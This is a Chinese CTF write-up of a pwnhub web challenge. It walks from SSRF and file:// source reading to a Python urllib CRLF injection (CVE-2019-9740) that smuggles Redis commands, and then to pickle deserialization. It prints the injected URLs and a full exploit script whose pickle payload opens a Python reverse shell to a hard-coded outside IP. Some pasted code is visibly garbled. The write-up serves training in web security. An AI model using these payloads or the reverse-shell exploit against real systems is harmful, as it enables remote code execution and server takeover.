0x00 前言
前段时间刚好看了p师傅的《Python安全 - 从SSRF到命令执行惨案》,没想到这次pwnhub公开赛就碰到了,思路几乎一模一样,都是通过ssrf结合python urllib的http头注入漏洞,对redis进行利用。
附本人总结的原文思路:
0x01 SSRF
随意注册账号后进入系统,检查了一遍只有一个 flag-spider功能,让输入url。猜测是考ssrf。
测试了几个地址,发现
-
可以连接到远程vps。
-
可以使用file:///协议读取本地文件,尝试读取常见flag路径,不出意外是失败的,应该是改名了。
-
6379端口开放redis服务
0x02 代码审计
使用file协议file:///proc/self/cmdline
读取运行命令,发现是用gunicorn
服务器启动了run.py
文件。
gunicorn --config=config.py run:app
读取run.py
:
根据源码中import
的模块,将user.py
、sipder.py
都读取下来,本地搭个环境进行测试。
首先看flag-spider功能的逻辑,定位到run.py中spider函数:
@ app.route('/spider/', methods = 「'GET', 'POST'1)
def spider():
cookie = request.cookies.get( 'Cookie')
try:
if Cookie.verify(cookie) and redis.exists(cookie):
user = redis.get(cookie)
user = pickle. loads(user)
except:
return abort(500)
result = ''
if request.method == "GET":
result = ''
elif request.method != “GET" and request.form.get('url') != None:
try:
target_url = request.form.get('url')
new spider = Spider(target url)
result = new spider.spiderFlag()
except Excetion as e:
result e
return render template("spider.html", result = str(result), user = user)
分析spider函数可知:
- 获取cookie,如果cookie验证通过且redis存在,则获取redis中cookie对应的值进行反序列化
- 如果method不为get且传入url参数,则调用Spider类对url进行爬取。
再看Spider类:
import urllib
import urllib.request
from bs4 import BeautifulSoup
class Spider:
def __init__(self, url):
self.target_url = url
def __getResponse(self):
try:
info = urllib.request.urlopen(self.target_url).read().decode("utf-8")
return (info, True)
except Exception as err:
return (err, False)
def spiderFlag(self):
infos = self.__getResponse()
if infos[1]:
soup = BeautifulSoup(infos[0])
flag = soup.find(id=='flag')
return infos[0]
return flag.text
return infos[0]
可以看出Spider类使用了urllib库对目标url发起请求,而这个库恰好也是p师傅文章中利用的一个点。
注册逻辑:
@ app.route('/register/', methods = ['GET', 'POST'])
def register():
if request.method != 'GET':
email = request.form.get('email')
username = request.form.get('username')
password = request.form.get('password')
user = User(email, username, password)
cookie = Cookie()
cookie.create = username
cookie = cookie.create
try:
if not redis.exists(cookie):
redis.set(cookie, pickle.dumps(user))
resp = make_response(redirect(url_for('home')))
resp.set_cookie("Cookie", cookie)
return resp
except: abort(500)
return render_template("register.html")
- 访问页面时先根据cookie在redis中查找key,若有则进行反序列化。
- 用户注册时,根据user生成一个hash值,再拼接user作为cookie
- User对象反序列化存储到redis中,对应的key就是cookie
本地测试注册后redis中的数据:
猜测肯定就是要利用反序列化漏洞了。思路就是将redis中用户对应的的key设置为序列化后的payload,然后重新访问页面触发。
接下来需要解决如何设置redis中的任意key,也就是找到urllib漏洞。
0x03 Python urllib3.5 CRLF注入
通过发送http请求对redis进行利用方式是,在请求包协议行后(也就是第二行)插入redis命令:
GET / HTTP/1.1
config set dir /tmp
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
GET /? HTTP/1.1
config set dbfilename test
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
GET /? HTTP/1.1
save
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
那么如果控制了http请求头,就可以在redis中执行set命令,将key设置为paylaod。
从服务器发送到vps的请求头看,目标服务器用的是urllib3.5版本。
在本地下载python3.5.0,测试如下:
- CVE-2016-5699(失败):
http://[vps-ip]%0d%0aX-injected:%20header:8888
- CVE-2019-9740(失败):
http://[vps-ip]%0d%0a%0d%0aheaders:8888
- CVE-2019-9947(失败):
http://[vps-ip]:8888?%0d%0apayload%0d%0apadding
- CVE-2019-9740(成功):
http://[vps-ip]:8888?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a
payload:
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dbfilename test12345%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aSAVE%0d%0aTEST: 123:8080/test/?test=a
本地在burp中测试了多次(\r\n
要url编码),返回报错:
但是服务器上成功创建了文件:
对比赛服务器进行测试,写入到/tmp/qweqwe
文件,再用file:///tmp/qweqwe
读取。
报utf-8 code can't decode byte xxx
,说明文件写成功。
0x04 Redis利用
接下来尝试修改redis中的key。
本地测试payload:
#!/usr/bin/env python
import pickle
from flask import Flask, session
from redis import StrictRedis
from user import *
import os
import requests
app = Flask(__name__)
redis = StrictRedis(host = '127.0.0.1', port = 6378, db = 0)
class exp(object):
def __reduce__(self):
s = """/usr/local/python3/bin/python3.5 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("134.175.2.34",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))
def localtest():
key = 'admin1ac8dc1444250362004b743fa951951b'
e = pickle.dumps(exp()).replace("\n",'\\n').replace("\"","\\\"")
payload = "http://127.0.0.1:6378?%20HTTP/1.1\r\nset \"admin1ac8dc1444250362004b743fa951951b\" \"" + e + "\"\r\nTEST: 123:8080/test/?test=a"
print payload
data = {'url': payload}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post("http://127.0.0.1:5000/spider/", data=data, headers=headers)
print r.content
localtest()
redis中反弹shell写入成功:
触发反序列化
curl -X POST 'http://127.0.0.1:5000/spider/'
成功反弹shell:
远程测试发现建立了连接,但是并没有shell。尝试备用地址才反弹成功,不知道什么原因= =。
最终在根目录下发现flag文件。
0x05 参考链接
- Python安全 - 从SSRF到命令执行惨案
- 清华校赛THUCTF2019 之 ComplexWeb
- CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析
- 通过
- 未通过
0 投票者